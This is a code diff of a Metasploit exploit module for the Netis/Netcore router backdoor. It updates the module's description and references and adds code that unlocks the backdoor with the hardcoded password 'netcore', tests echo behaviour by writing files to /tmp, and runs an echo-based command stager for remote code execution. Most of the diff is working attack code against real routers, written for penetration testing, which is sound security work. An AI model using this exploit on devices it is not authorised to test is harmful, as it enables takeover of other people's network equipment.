@@ -21,13 +21,21 @@ def initialize(info = {})
21
21
the Netis brand name outside of China. This backdoor allows
22
22
cybercriminals to easily run arbitrary code on these routers,
23
23
rendering it vulnerable as a security device.
24
+ Some models include a non-standard echo command which doesn't
25
+ honor -e, and are therefore not currently exploitable with
26
+ Metasploit. See URLs or module markdown for additional options.
24
27
} ,
25
- 'Author' => [ 'Nixawk' ] ,
28
+ 'Author' =>
29
+ [
30
+ 'Nixawk' ,
31
+
32
+ ] ,
26
33
'License' => MSF_LICENSE ,
27
34
'References' =>
28
35
[
29
36
[ 'URL' , 'https://www.seebug.org/vuldb/ssvid-90227' ] ,
30
- [ 'URL' , 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ]
37
+ [ 'URL' , 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ] ,
38
+ [ 'URL' , 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py' ]
31
39
] ,
32
40
'Privileged' => true ,
33
41
'Targets' =>
@@ -67,36 +75,48 @@ def send_command(data)
67
75
68
76
def execute_command ( cmd , _opts )
69
77
send_command ( cmd )
78
+ vprint_status ( "Sending: #{ cmd } " )
79
+ end
80
+
81
+ def authenticate ( )
82
+ # netcore is the password to unlock the backdoor
83
+ send_command ( 'netcore' )
84
+ resp = udp_sock . get ( timeout )
85
+ if resp . include? ( 'Login successed!' )
86
+ vprint_good ( 'Backdoor Unlocked' )
87
+ end
70
88
end
71
89
72
- def vuln_version?
90
+ def check
73
91
connect_udp
92
+ authenticate
74
93
resp = [ ]
75
- [ 'netcore' , '?' ] . each do |command |
94
+ tmp_file = Rex ::Text . rand_text_alpha ( 5 )
95
+ # we need to test the echo command to see if it plays nice
96
+ [ "echo -en #{ tmp_file } > /tmp/#{ tmp_file } " , "cat /tmp/#{ tmp_file } " ] . each do |command |
76
97
send_command ( command )
77
98
resp << udp_sock . get ( timeout )
78
99
end
79
100
disconnect_udp
80
101
resp_str = resp . join ( ',' )
81
- resp . length >= 1 && resp_str . include? ( "\x00 \x00 \x00 \x05 " )
82
- end
83
-
84
- def check
85
- if vuln_version?
86
- Exploit ::CheckCode ::Vulnerable
102
+ # check if we got a good response back
103
+ if resp . length >= 1 && resp_str . include? ( "\x00 \x00 \x00 \x05 " ) && resp_str . include? ( tmp_file )
104
+ # some routers have a non-standard echo which doesn't support -en, so we need to detect that
105
+ if resp_str . include? ( 'en ' )
106
+ print_status ( 'Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.' )
107
+ Exploit ::CheckCode ::Detected
108
+ else
109
+ Exploit ::CheckCode ::Vulnerable
110
+ end
87
111
else
88
112
Exploit ::CheckCode ::Safe
89
113
end
90
114
end
91
115
92
116
def exploit
93
- unless vuln_version?
94
- print_status ( 'Target is not vulnerable.' )
95
- return
96
- end
97
-
98
117
print_status ( 'Exploiting...' )
99
118
connect_udp
119
+ authenticate
100
120
execute_cmdstager ( :flavor => :echo , :linemax => 200 )
101
121
disconnect_udp
102
122
end
0 commit comments